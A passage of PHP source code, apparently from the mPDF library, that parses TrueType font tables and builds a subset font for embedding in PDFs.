return $this->_pos;
}
function read_tag() {
$this->_pos += 4;
return fread($this->fh,4);
}
function read_short() {
$this->_pos += 2;
$s = fread($this->fh,2);
$a = (ord($s[0])<<8) + ord($s[1]);
if ($a & (1 << 15) ) {
$a = ($a - (1 << 16));
}
return $a;
}
function unpack_short($s) {
$a = (ord($s[0])<<8) + ord($s[1]);
if ($a & (1 << 15) ) {
$a = ($a - (1 << 16));
}
return $a;
}
function read_ushort() {
$this->_pos += 2;
$s = fread($this->fh,2);
return (ord($s[0])<<8) + ord($s[1]);
}
function read_ulong() {
$this->_pos += 4;
$s = fread($this->fh,4);
// if large uInt32 as an integer, PHP converts it to -ve
return (ord($s[0])*16777216) + (ord($s[1])<<16) + (ord($s[2])<<8) + ord($s[3]); // 16777216 = 1<<24
}
function get_ushort($pos) {
fseek($this->fh,$pos);
$s = fread($this->fh,2);
return (ord($s[0])<<8) + ord($s[1]);
}
function get_ulong($pos) {
fseek($this->fh,$pos);
$s = fread($this->fh,4);
// iF large uInt32 as an integer, PHP converts it to -ve
return (ord($s[0])*16777216) + (ord($s[1])<<16) + (ord($s[2])<<8) + ord($s[3]); // 16777216 = 1<<24
}
function pack_short($val) {
if ($val<0) {
$val = abs($val);
$val = ~$val;
$val += 1;
}
return pack("n",$val);
}
function splice($stream, $offset, $value) {
return substr($stream,0,$offset) . $value . substr($stream,$offset+strlen($value));
}
function _set_ushort($stream, $offset, $value) {
$up = pack("n", $value);
return $this->splice($stream, $offset, $up);
}
function _set_short($stream, $offset, $val) {
if ($val<0) {
$val = abs($val);
$val = ~$val;
$val += 1;
}
$up = pack("n",$val);
return $this->splice($stream, $offset, $up);
}
function get_chunk($pos, $length) {
fseek($this->fh,$pos);
if ($length <1) { return ''; }
return (fread($this->fh,$length));
}
function get_table($tag) {
list($pos, $length) = $this->get_table_pos($tag);
if ($length == 0) { return ''; }
fseek($this->fh,$pos);
return (fread($this->fh,$length));
}
function add($tag, $data) {
if ($tag == 'head') {
$data = $this->splice($data, 8, "\0\0\0\0");
}
$this->otables[$tag] = $data;
}
/////////////////////////////////////////////////////////////////////////////////////////
function getCTG($file, $TTCfontID=0, $debug=false, $unAGlyphs=false) { // mPDF 5.4.05
$this->unAGlyphs = $unAGlyphs; // mPDF 5.4.05
$this->filename = $file;
$this->fh = fopen($file,'rb') or die('Can\'t open file ' . $file);
$this->_pos = 0;
$this->charWidths = '';
$this->glyphPos = array();
$this->charToGlyph = array();
$this->tables = array();
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->skip(4);
if ($TTCfontID > 0) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
die("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
$this->seek($this->TTCFonts[$TTCfontID]['offset']);
$this->version = $version = $this->read_ulong(); // TTFont version again now
}
$this->readTableDirectory($debug);
// cmap - Character to glyph index mapping table
$cmap_offset = $this->seek_table("cmap");
$this->skip(2);
$cmapTableCount = $this->read_ushort();
$unicode_cmap_offset = 0;
for ($i=0;$i<$cmapTableCount;$i++) {
$platformID = $this->read_ushort();
$encodingID = $this->read_ushort();
$offset = $this->read_ulong();
$save_pos = $this->_pos;
if ($platformID == 3 && $encodingID == 1) { // Microsoft, Unicode
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 4) {
$unicode_cmap_offset = $cmap_offset + $offset;
break;
}
}
else if ($platformID == 0) { // Unicode -- assume all encodings are compatible
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 4) {
$unicode_cmap_offset = $cmap_offset + $offset;
break;
}
}
$this->seek($save_pos );
}
$glyphToChar = array();
$charToGlyph = array();
$this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph );
fclose($this->fh);
return ($charToGlyph);
}
/////////////////////////////////////////////////////////////////////////////////////////
function getTTCFonts($file) {
$this->filename = $file;
$this->fh = fopen($file,'rb');
if (!$this->fh) { return ('ERROR - Can\'t open file ' . $file); }
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->version = $version = $this->read_ulong();
if ($version==0x74746366) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
return("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
}
else {
return("ERROR - Not a TrueType Collection: version=".$version." - " . $file);
}
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
}
/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
function extractInfo($debug=false, $BMPonly=false, $kerninfo=false) {
$this->panose = array();
$this->sFamilyClass = 0;
$this->sFamilySubClass = 0;
///////////////////////////////////
// name - Naming table
///////////////////////////////////
$name_offset = $this->seek_table("name");
$format = $this->read_ushort();
if ($format != 0 && $format != 1)
die("Unknown name table format ".$format);
$numRecords = $this->read_ushort();
$string_data_offset = $name_offset + $this->read_ushort();
$names = array(1=>'',2=>'',3=>'',4=>'',6=>'');
$K = array_keys($names);
$nameCount = count($names);
for ($i=0;$i<$numRecords; $i++) {
$platformId = $this->read_ushort();
$encodingId = $this->read_ushort();
$languageId = $this->read_ushort();
$nameId = $this->read_ushort();
$length = $this->read_ushort();
$offset = $this->read_ushort();
if (!in_array($nameId,$K)) continue;
$N = '';
if ($platformId == 3 && $encodingId == 1 && $languageId == 0x409) { // Microsoft, Unicode, US English, PS Name
$opos = $this->_pos;
$this->seek($string_data_offset + $offset);
if ($length % 2 != 0)
die("PostScript name is UTF-16BE string of odd length");
$length /= 2;
$N = '';
while ($length > 0) {
$char = $this->read_ushort();
$N .= (chr($char));
$length -= 1;
}
$this->_pos = $opos;
$this->seek($opos);
}
else if ($platformId == 1 && $encodingId == 0 && $languageId == 0) { // Macintosh, Roman, English, PS Name
$opos = $this->_pos;
$N = $this->get_chunk($string_data_offset + $offset, $length);
$this->_pos = $opos;
$this->seek($opos);
}
if ($N && $names[$nameId]=='') {
$names[$nameId] = $N;
$nameCount -= 1;
if ($nameCount==0) break;
}
}
if ($names[6])
$psName = $names[6];
else if ($names[4])
$psName = preg_replace('/ /','-',$names[4]);
else if ($names[1])
$psName = preg_replace('/ /','-',$names[1]);
else
$psName = '';
if (!$psName)
die("Could not find PostScript font name: ".$this->filename);
if ($debug) {
for ($i=0;$i<count($psName);$i++) {
$c = $psName[$i];
$oc = ord($c);
if ($oc>126 || strpos(' [](){}<>/%',$c)!==false)
die("psName=".$psName." contains invalid character ".$c." ie U+".ord(c));
}
}
$this->name = $psName;
if ($names[1]) { $this->familyName = $names[1]; } else { $this->familyName = $psName; }
if ($names[2]) { $this->styleName = $names[2]; } else { $this->styleName = 'Regular'; }
if ($names[4]) { $this->fullName = $names[4]; } else { $this->fullName = $psName; }
if ($names[3]) { $this->uniqueFontID = $names[3]; } else { $this->uniqueFontID = $psName; }
if ($names[6]) { $this->fullName = $names[6]; }
///////////////////////////////////
// head - Font header table
///////////////////////////////////
$this->seek_table("head");
if ($debug) {
$ver_maj = $this->read_ushort();
$ver_min = $this->read_ushort();
if ($ver_maj != 1)
die('Unknown head table version '. $ver_maj .'.'. $ver_min);
$this->fontRevision = $this->read_ushort() . $this->read_ushort();
$this->skip(4);
$magic = $this->read_ulong();
if ($magic != 0x5F0F3CF5)
die('Invalid head table magic ' .$magic);
$this->skip(2);
}
else {
$this->skip(18);
}
$this->unitsPerEm = $unitsPerEm = $this->read_ushort();
$scale = 1000 / $unitsPerEm;
$this->skip(16);
$xMin = $this->read_short();
$yMin = $this->read_short();
$xMax = $this->read_short();
$yMax = $this->read_short();
$this->bbox = array(($xMin*$scale), ($yMin*$scale), ($xMax*$scale), ($yMax*$scale));
$this->skip(3*2);
$indexToLocFormat = $this->read_ushort();
$glyphDataFormat = $this->read_ushort();
if ($glyphDataFormat != 0)
die('Unknown glyph data format '.$glyphDataFormat);
///////////////////////////////////
// hhea metrics table
///////////////////////////////////
// ttf2t1 seems to use this value rather than the one in OS/2 - so put in for compatibility
if (isset($this->tables["hhea"])) {
$this->seek_table("hhea");
$this->skip(4);
$hheaAscender = $this->read_short();
$hheaDescender = $this->read_short();
$this->ascent = ($hheaAscender *$scale);
$this->descent = ($hheaDescender *$scale);
}
///////////////////////////////////
// OS/2 - OS/2 and Windows metrics table
///////////////////////////////////
if (isset($this->tables["OS/2"])) {
$this->seek_table("OS/2");
$version = $this->read_ushort();
$this->skip(2);
$usWeightClass = $this->read_ushort();
$this->skip(2);
$fsType = $this->read_ushort();
if ($fsType == 0x0002 || ($fsType & 0x0300) != 0) {
global $overrideTTFFontRestriction;
if (!$overrideTTFFontRestriction) die('ERROR - Font file '.$this->filename.' cannot be embedded due to copyright restrictions.');
$this->restrictedUse = true;
}
$this->skip(20);
$sF = $this->read_short();
$this->sFamilyClass = ($sF >> 8);
$this->sFamilySubClass = ($sF & 0xFF);
$this->_pos += 10; //PANOSE = 10 byte length
$panose = fread($this->fh,10);
$this->panose = array();
for ($p=0;$p<strlen($panose);$p++) { $this->panose[] = ord($panose[$p]); }
$this->skip(26);
$sTypoAscender = $this->read_short();
$sTypoDescender = $this->read_short();
if (!$this->ascent) $this->ascent = ($sTypoAscender*$scale);
if (!$this->descent) $this->descent = ($sTypoDescender*$scale);
if ($version > 1) {
$this->skip(16);
$sCapHeight = $this->read_short();
$this->capHeight = ($sCapHeight*$scale);
}
else {
$this->capHeight = $this->ascent;
}
}
else {
$usWeightClass = 500;
if (!$this->ascent) $this->ascent = ($yMax*$scale);
if (!$this->descent) $this->descent = ($yMin*$scale);
$this->capHeight = $this->ascent;
}
$this->stemV = 50 + intval(pow(($usWeightClass / 65.0),2));
///////////////////////////////////
// post - PostScript table
///////////////////////////////////
$this->seek_table("post");
if ($debug) {
$ver_maj = $this->read_ushort();
$ver_min = $this->read_ushort();
if ($ver_maj <1 || $ver_maj >4)
die('Unknown post table version '.$ver_maj);
}
else {
$this->skip(4);
}
$this->italicAngle = $this->read_short() + $this->read_ushort() / 65536.0;
$this->underlinePosition = $this->read_short() * $scale;
$this->underlineThickness = $this->read_short() * $scale;
$isFixedPitch = $this->read_ulong();
$this->flags = 4;
if ($this->italicAngle!= 0)
$this->flags = $this->flags | 64;
if ($usWeightClass >= 600)
$this->flags = $this->flags | 262144;
if ($isFixedPitch)
$this->flags = $this->flags | 1;
///////////////////////////////////
// hhea - Horizontal header table
///////////////////////////////////
$this->seek_table("hhea");
if ($debug) {
$ver_maj = $this->read_ushort();
$ver_min = $this->read_ushort();
if ($ver_maj != 1)
die('Unknown hhea table version '.$ver_maj);
$this->skip(28);
}
else {
$this->skip(32);
}
$metricDataFormat = $this->read_ushort();
if ($metricDataFormat != 0)
die('Unknown horizontal metric data format '.$metricDataFormat);
$numberOfHMetrics = $this->read_ushort();
if ($numberOfHMetrics == 0)
die('Number of horizontal metrics is 0');
///////////////////////////////////
// maxp - Maximum profile table
///////////////////////////////////
$this->seek_table("maxp");
if ($debug) {
$ver_maj = $this->read_ushort();
$ver_min = $this->read_ushort();
if ($ver_maj != 1)
die('Unknown maxp table version '.$ver_maj);
}
else {
$this->skip(4);
}
$numGlyphs = $this->read_ushort();
///////////////////////////////////
// cmap - Character to glyph index mapping table
///////////////////////////////////
$cmap_offset = $this->seek_table("cmap");
$this->skip(2);
$cmapTableCount = $this->read_ushort();
$unicode_cmap_offset = 0;
for ($i=0;$i<$cmapTableCount;$i++) {
$platformID = $this->read_ushort();
$encodingID = $this->read_ushort();
$offset = $this->read_ulong();
$save_pos = $this->_pos;
if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 4) {
if (!$unicode_cmap_offset) $unicode_cmap_offset = $cmap_offset + $offset;
if ($BMPonly) break;
}
}
// Microsoft, Unicode Format 12 table HKCS
else if ((($platformID == 3 && $encodingID == 10) || $platformID == 0) && !$BMPonly) {
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 12) {
$unicode_cmap_offset = $cmap_offset + $offset;
break;
}
}
$this->seek($save_pos );
}
if (!$unicode_cmap_offset)
die('Font ('.$this->filename .') does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)');
$sipset = false;
$smpset = false;
// Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above
if ($format == 12 && !$BMPonly) {
$this->maxUniChar = 0;
$this->seek($unicode_cmap_offset + 4);
$length = $this->read_ulong();
$limit = $unicode_cmap_offset + $length;
$this->skip(4);
$nGroups = $this->read_ulong();
$glyphToChar = array();
$charToGlyph = array();
for($i=0; $i<$nGroups ; $i++) {
$startCharCode = $this->read_ulong();
$endCharCode = $this->read_ulong();
$startGlyphCode = $this->read_ulong();
if (($endCharCode > 0x20000 && $endCharCode < 0x2A6DF) || ($endCharCode > 0x2F800 && $endCharCode < 0x2FA1F)) {
$sipset = true;
}
else if ($endCharCode > 0x10000 && $endCharCode < 0x1FFFF) {
$smpset = true;
}
$offset = 0;
for ($unichar=$startCharCode;$unichar<=$endCharCode;$unichar++) {
$glyph = $startGlyphCode + $offset ;
$offset++;
$charToGlyph[$unichar] = $glyph;
if ($unichar < 196608) { $this->maxUniChar = max($unichar,$this->maxUniChar); }
$glyphToChar[$glyph][] = $unichar;
}
}
}
else {
$glyphToChar = array();
$charToGlyph = array();
$this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph );
}
$this->sipset = $sipset ;
$this->smpset = $smpset ;
///////////////////////////////////
// hmtx - Horizontal metrics table
///////////////////////////////////
$this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale);
///////////////////////////////////
// kern - Kerning pair table
///////////////////////////////////
if ($kerninfo) {
// Recognises old form of Kerning table - as required by Windows - Format 0 only
$kern_offset = $this->seek_table("kern");
$version = $this->read_ushort();
$nTables = $this->read_ushort();
// subtable header
$sversion = $this->read_ushort();
$slength = $this->read_ushort();
$scoverage = $this->read_ushort();
$format = $scoverage >> 8;
if ($kern_offset && $version==0 && $format==0) {
// Format 0
$nPairs = $this->read_ushort();
$this->skip(6);
for ($i=0; $i<$nPairs; $i++) {
$left = $this->read_ushort();
$right = $this->read_ushort();
$val = $this->read_short();
if (count($glyphToChar[$left])==1 && count($glyphToChar[$right])==1) {
if ($left != 32 && $right != 32) {
$this->kerninfo[$glyphToChar[$left][0]][$glyphToChar[$right][0]] = intval($val*$scale);
}
}
}
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////
function makeSubset($file, &$subset, $TTCfontID=0, $debug=false, $unAGlyphs=false) { // mPDF 5.4.05
$this->unAGlyphs = $unAGlyphs; // mPDF 5.4.05
$this->filename = $file;
$this->fh = fopen($file ,'rb') or die('Can\'t open file ' . $file);
$this->_pos = 0;
$this->charWidths = '';
$this->glyphPos = array();
$this->charToGlyph = array();
$this->tables = array();
$this->otables = array();
$this->ascent = 0;
$this->descent = 0;
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->skip(4);
$this->maxUni = 0;
if ($TTCfontID > 0) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
die("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
$this->seek($this->TTCFonts[$TTCfontID]['offset']);
$this->version = $version = $this->read_ulong(); // TTFont version again now
}
$this->readTableDirectory($debug);
///////////////////////////////////
// head - Font header table
///////////////////////////////////
$this->seek_table("head");
$this->skip(50);
$indexToLocFormat = $this->read_ushort();
$glyphDataFormat = $this->read_ushort();
///////////////////////////////////
// hhea - Horizontal header table
///////////////////////////////////
$this->seek_table("hhea");
$this->skip(32);
$metricDataFormat = $this->read_ushort();
$orignHmetrics = $numberOfHMetrics = $this->read_ushort();
///////////////////////////////////
// maxp - Maximum profile table
///////////////////////////////////
$this->seek_table("maxp");
$this->skip(4);
$numGlyphs = $this->read_ushort();
///////////////////////////////////
// cmap - Character to glyph index mapping table
///////////////////////////////////
$cmap_offset = $this->seek_table("cmap");
$this->skip(2);
$cmapTableCount = $this->read_ushort();
$unicode_cmap_offset = 0;
for ($i=0;$i<$cmapTableCount;$i++) {
$platformID = $this->read_ushort();
$encodingID = $this->read_ushort();
$offset = $this->read_ulong();
$save_pos = $this->_pos;
if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 4) {
$unicode_cmap_offset = $cmap_offset + $offset;
break;
}
}
$this->seek($save_pos );
}
if (!$unicode_cmap_offset)
die('Font ('.$this->filename .') does not have Unicode cmap (platform 3, encoding 1, format 4, or platform 0 [any encoding] format 4)');
$glyphToChar = array();
$charToGlyph = array();
$this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph );
$this->charToGlyph = $charToGlyph;
///////////////////////////////////
// hmtx - Horizontal metrics table
///////////////////////////////////
$scale = 1; // not used
$this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale);
///////////////////////////////////
// loca - Index to location
///////////////////////////////////
$this->getLOCA($indexToLocFormat, $numGlyphs);
$subsetglyphs = array(0=>0, 1=>1, 2=>2);
$subsetCharToGlyph = array();
foreach($subset AS $code) {
if (isset($this->charToGlyph[$code])) {
$subsetglyphs[$this->charToGlyph[$code]] = $code; // Old Glyph ID => Unicode
$subsetCharToGlyph[$code] = $this->charToGlyph[$code]; // Unicode to old GlyphID
}
$this->maxUni = max($this->maxUni, $code);
}
list($start,$dummy) = $this->get_table_pos('glyf');
$glyphSet = array();
ksort($subsetglyphs);
$n = 0;
$fsLastCharIndex = 0; // maximum Unicode index (character code) in this font, according to the cmap subtable for platform ID 3 and platform- specific encoding ID 0 or 1.
foreach($subsetglyphs AS $originalGlyphIdx => $uni) {
$fsLastCharIndex = max($fsLastCharIndex , $uni);
$glyphSet[$originalGlyphIdx] = $n; // old glyphID to new glyphID
$n++;
}
ksort($subsetCharToGlyph);
foreach($subsetCharToGlyph AS $uni => $originalGlyphIdx) {
$codeToGlyph[$uni] = $glyphSet[$originalGlyphIdx] ;
}
$this->codeToGlyph = $codeToGlyph;
ksort($subsetglyphs);
foreach($subsetglyphs AS $originalGlyphIdx => $uni) {
$this->getGlyphs($originalGlyphIdx, $start, $glyphSet, $subsetglyphs);
}
$numGlyphs = $numberOfHMetrics = count($subsetglyphs );
///////////////////////////////////
// name - table copied from the original
///////////////////////////////////
$this->add('name', $this->get_table('name'));
///////////////////////////////////
//tables copied from the original
///////////////////////////////////
$tags = array ('cvt ', 'fpgm', 'prep', 'gasp');
foreach($tags AS $tag) {
if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); }
}
///////////////////////////////////
// post - PostScript
///////////////////////////////////
if (isset($this->tables['post'])) {
$opost = $this->get_table('post');
$post = "\x00\x03\x00\x00" . substr($opost,4,12) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$this->add('post', $post);
}
///////////////////////////////////
// Sort CID2GID map into segments of contiguous codes
///////////////////////////////////
ksort($codeToGlyph);
unset($codeToGlyph[0]);
//unset($codeToGlyph[65535]);
$rangeid = 0;
$range = array();
$prevcid = -2;
$prevglidx = -1;
// for each character
foreach ($codeToGlyph as $cid => $glidx) {
if ($cid == ($prevcid + 1) && $glidx == ($prevglidx + 1)) {
$range[$rangeid][] = $glidx;
} else {
// new range
$rangeid = $cid;
$range[$rangeid] = array();
$range[$rangeid][] = $glidx;
}
$prevcid = $cid;
$prevglidx = $glidx;
}
///////////////////////////////////
// CMap table
///////////////////////////////////
// cmap - Character to glyph mapping
$segCount = count($range) + 1; // + 1 Last segment has missing character 0xFFFF
$searchRange = 1;
$entrySelector = 0;
while ($searchRange * 2 <= $segCount ) {
$searchRange = $searchRange * 2;
$entrySelector = $entrySelector + 1;
}
$searchRange = $searchRange * 2;
$rangeShift = $segCount * 2 - $searchRange;
$length = 16 + (8*$segCount ) + ($numGlyphs+1);
$cmap = array(0, 3, // Index : version, number of encoding subtables
0, 0, // Encoding Subtable : platform (UNI=0), encoding 0
0, 28, // Encoding Subtable : offset (hi,lo)
0, 3, // Encoding Subtable : platform (UNI=0), encoding 3
0, 28, // Encoding Subtable : offset (hi,lo)
3, 1, // Encoding Subtable : platform (MS=3), encoding 1
0, 28, // Encoding Subtable : offset (hi,lo)
4, $length, 0, // Format 4 Mapping subtable: format, length, language
$segCount*2,
$searchRange,
$entrySelector,
$rangeShift);
// endCode(s)
foreach($range AS $start=>$subrange) {
$endCode = $start + (count($subrange)-1);
$cmap[] = $endCode; // endCode(s)
}
$cmap[] = 0xFFFF; // endCode of last Segment
$cmap[] = 0; // reservedPad
// startCode(s)
foreach($range AS $start=>$subrange) {
$cmap[] = $start; // startCode(s)
}
$cmap[] = 0xFFFF; // startCode of last Segment
// idDelta(s)
foreach($range AS $start=>$subrange) {
$idDelta = -($start-$subrange[0]);
$n += count($subrange);
$cmap[] = $idDelta; // idDelta(s)
}
$cmap[] = 1; // idDelta of last Segment
// idRangeOffset(s)
foreach($range AS $subrange) {
$cmap[] = 0; // idRangeOffset[segCount] Offset in bytes to glyph indexArray, or 0
}
$cmap[] = 0; // idRangeOffset of last Segment
foreach($range AS $subrange) {
foreach($subrange AS $glidx) {
$cmap[] = $glidx;
}
}
$cmap[] = 0; // Mapping for last character
$cmapstr = '';
foreach($cmap AS $cm) { $cmapstr .= pack("n",$cm); }
$this->add('cmap', $cmapstr);
///////////////////////////////////
// glyf - Glyph data
///////////////////////////////////
list($glyfOffset,$glyfLength) = $this->get_table_pos('glyf');
if ($glyfLength < $this->maxStrLenRead) {
$glyphData = $this->get_table('glyf');
}
$offsets = array();
$glyf = '';
$pos = 0;
$hmtxstr = '';
$xMinT = 0;
$yMinT = 0;
$xMaxT = 0;
$yMaxT = 0;
$advanceWidthMax = 0;
$minLeftSideBearing = 0;
$minRightSideBearing = 0;
$xMaxExtent = 0;
$maxPoints = 0; // points in non-compound glyph
$maxContours = 0; // contours in non-compound glyph
$maxComponentPoints = 0; // points in compound glyph
$maxComponentContours = 0; // contours in compound glyph
$maxComponentElements = 0; // number of glyphs referenced at top level
$maxComponentDepth = 0; // levels of recursion, set to 0 if font has only simple glyphs
$this->glyphdata = array();
foreach($subsetglyphs AS $originalGlyphIdx => $uni) {
// hmtx - Horizontal Metrics
$hm = $this->getHMetric($orignHmetrics, $originalGlyphIdx);
$hmtxstr .= $hm;
$offsets[] = $pos;
$glyphPos = $this->glyphPos[$originalGlyphIdx];
$glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos;
if ($glyfLength < $this->maxStrLenRead) {
$data = substr($glyphData,$glyphPos,$glyphLen);
}
else {
if ($glyphLen > 0) $data = $this->get_chunk($glyfOffset+$glyphPos,$glyphLen);
else $data = '';
}
if ($glyphLen > 0) {
if (_RECALC_PROFILE) {
$xMin = $this->unpack_short(substr($data,2,2));
$yMin = $this->unpack_short(substr($data,4,2));
$xMax = $this->unpack_short(substr($data,6,2));
$yMax = $this->unpack_short(substr($data,8,2));
$xMinT = min($xMinT,$xMin);
$yMinT = min($yMinT,$yMin);
$xMaxT = max($xMaxT,$xMax);
$yMaxT = max($yMaxT,$yMax);
$aw = $this->unpack_short(substr($hm,0,2));
$lsb = $this->unpack_short(substr($hm,2,2));
$advanceWidthMax = max($advanceWidthMax,$aw);
$minLeftSideBearing = min($minLeftSideBearing,$lsb);
$minRightSideBearing = min($minRightSideBearing,($aw - $lsb - ($xMax - $xMin)));
$xMaxExtent = max($xMaxExtent,($lsb + ($xMax - $xMin)));
}
$up = unpack("n", substr($data,0,2));
}
if ($glyphLen > 2 && ($up[1] & (1 << 15)) ) { // If number of contours <= -1 i.e. composiste glyph
$pos_in_glyph = 10;
$flags = GF_MORE;
$nComponentElements = 0;
while ($flags & GF_MORE) {
$nComponentElements += 1; // number of glyphs referenced at top level
$up = unpack("n", substr($data,$pos_in_glyph,2));
$flags = $up[1];
$up = unpack("n", substr($data,$pos_in_glyph+2,2));
$glyphIdx = $up[1];
$this->glyphdata[$originalGlyphIdx]['compGlyphs'][] = $glyphIdx;
$data = $this->_set_ushort($data, $pos_in_glyph + 2, $glyphSet[$glyphIdx]);
$pos_in_glyph += 4;
if ($flags & GF_WORDS) { $pos_in_glyph += 4; }
else { $pos_in_glyph += 2; }
if ($flags & GF_SCALE) { $pos_in_glyph += 2; }
else if ($flags & GF_XYSCALE) { $pos_in_glyph += 4; }
else if ($flags & GF_TWOBYTWO) { $pos_in_glyph += 8; }
}
$maxComponentElements = max($maxComponentElements, $nComponentElements);
}
// Simple Glyph
else if (_RECALC_PROFILE && $glyphLen > 2 && $up[1] < (1 << 15) && $up[1] > 0) { // Number of contours > 0 simple glyph
$nContours = $up[1];
$this->glyphdata[$originalGlyphIdx]['nContours'] = $nContours;
$maxContours = max($maxContours, $nContours);
// Count number of points in simple glyph
$pos_in_glyph = 10 + ($nContours * 2) - 2; // Last endContourPoint
$up = unpack("n", substr($data,$pos_in_glyph,2));
$points = $up[1]+1;
$this->glyphdata[$originalGlyphIdx]['nPoints'] = $points;
$maxPoints = max($maxPoints, $points);
}
$glyf .= $data;
$pos += $glyphLen;
if ($pos % 4 != 0) {
$padding = 4 - ($pos % 4);
$glyf .= str_repeat("\0",$padding);
$pos += $padding;
}
}
if (_RECALC_PROFILE) {
foreach($this->glyphdata AS $originalGlyphIdx => $val) {
$maxdepth = $depth = -1;
$points = 0;
$contours = 0;
$this->getGlyphData($originalGlyphIdx, $maxdepth, $depth, $points, $contours) ;
$maxComponentDepth = max($maxComponentDepth , $maxdepth);
$maxComponentPoints = max($maxComponentPoints , $points);
$maxComponentContours = max($maxComponentContours , $contours);
}
}
$offsets[] = $pos;
$this->add('glyf', $glyf);
///////////////////////////////////
// hmtx - Horizontal Metrics
///////////////////////////////////
$this->add('hmtx', $hmtxstr);
///////////////////////////////////
// loca - Index to location
///////////////////////////////////
$locastr = '';
if ((($pos + 1) >> 1) > 0xFFFF) {
$indexToLocFormat = 1; // long format
foreach($offsets AS $offset) { $locastr .= pack("N",$offset); }
}
else {
$indexToLocFormat = 0; // short format
foreach($offsets AS $offset) { $locastr .= pack("n",($offset/2)); }
}
$this->add('loca', $locastr);
///////////////////////////////////
// head - Font header
///////////////////////////////////
$head = $this->get_table('head');
$head = $this->_set_ushort($head, 50, $indexToLocFormat);
if (_RECALC_PROFILE) {
$head = $this->_set_short($head, 36, $xMinT); // for all glyph bounding boxes
$head = $this->_set_short($head, 38, $yMinT); // for all glyph bounding boxes
$head = $this->_set_short($head, 40, $xMaxT); // for all glyph bounding boxes
$head = $this->_set_short($head, 42, $yMaxT); // for all glyph bounding boxes
$head[17] = chr($head[17] & ~(1 << 4)); // Unset Bit 4 (as hdmx/LTSH tables not included)
}
$this->add('head', $head);
///////////////////////////////////
// hhea - Horizontal Header
///////////////////////////////////
$hhea = $this->get_table('hhea');
$hhea = $this->_set_ushort($hhea, 34, $numberOfHMetrics);
if (_RECALC_PROFILE) {
$hhea = $this->_set_ushort($hhea, 10, $advanceWidthMax);
$hhea = $this->_set_short($hhea, 12, $minLeftSideBearing);
$hhea = $this->_set_short($hhea, 14, $minRightSideBearing);
$hhea = $this->_set_short($hhea, 16, $xMaxExtent);
}
$this->add('hhea', $hhea);
///////////////////////////////////
// maxp - Maximum Profile
///////////////////////////////////
$maxp = $this->get_table('maxp');
$maxp = $this->_set_ushort($maxp, 4, $numGlyphs);
if (_RECALC_PROFILE) {
$maxp = $this->_set_ushort($maxp, 6, $maxPoints); // points in non-compound glyph
$maxp = $this->_set_ushort($maxp, 8, $maxContours); // contours in non-compound glyph
$maxp = $this->_set_ushort($maxp, 10, $maxComponentPoints); // points in compound glyph
$maxp = $this->_set_ushort($maxp, 12, $maxComponentContours); // contours in compound glyph
$maxp = $this->_set_ushort($maxp, 28, $maxComponentElements); // number of glyphs referenced at top level
$maxp = $this->_set_ushort($maxp, 30, $maxComponentDepth); // levels of recursion, set to 0 if font has only simple glyphs
}
$this->add('maxp', $maxp);
///////////////////////////////////
// OS/2 - OS/2
///////////////////////////////////
if (isset($this->tables['OS/2'])) {
$os2_offset = $this->seek_table("OS/2");
if (_RECALC_PROFILE) {
$fsSelection = $this->get_ushort($os2_offset+62);
$fsSelection = ($fsSelection & ~(1 << 6)); // 2-byte bit field containing information concerning the nature of the font patterns
// bit#0 = Italic; bit#5=Bold
// Match name table's font subfamily string
// Clear bit#6 used for 'Regular' and optional
}
// NB Currently this method never subsets characters above BMP
// Could set nonBMP bit according to $this->maxUni
$nonBMP = $this->get_ushort($os2_offset+46);
$nonBMP = ($nonBMP & ~(1 << 9)); // Unset Bit 57 (indicates non-BMP) - for interactive forms
$os2 = $this->get_table('OS/2');
if (_RECALC_PROFILE) {
$os2 = $this->_set_ushort($os2, 62, $fsSelection);
$os2 = $this->_set_ushort($os2, 66, $fsLastCharIndex);
$os2 = $this->_set_ushort($os2, 42, 0x0000); // ulCharRange (ulUnicodeRange) bits 24-31 | 16-23
$os2 = $this->_set_ushort($os2, 44, 0x0000); // ulCharRange (Unicode ranges) bits 8-15 | 0-7
$os2 = $this->_set_ushort($os2, 46, $nonBMP); // ulCharRange (Unicode ranges) bits 56-63 | 48-55
$os2 = $this->_set_ushort($os2, 48, 0x0000); // ulCharRange (Unicode ranges) bits 40-47 | 32-39
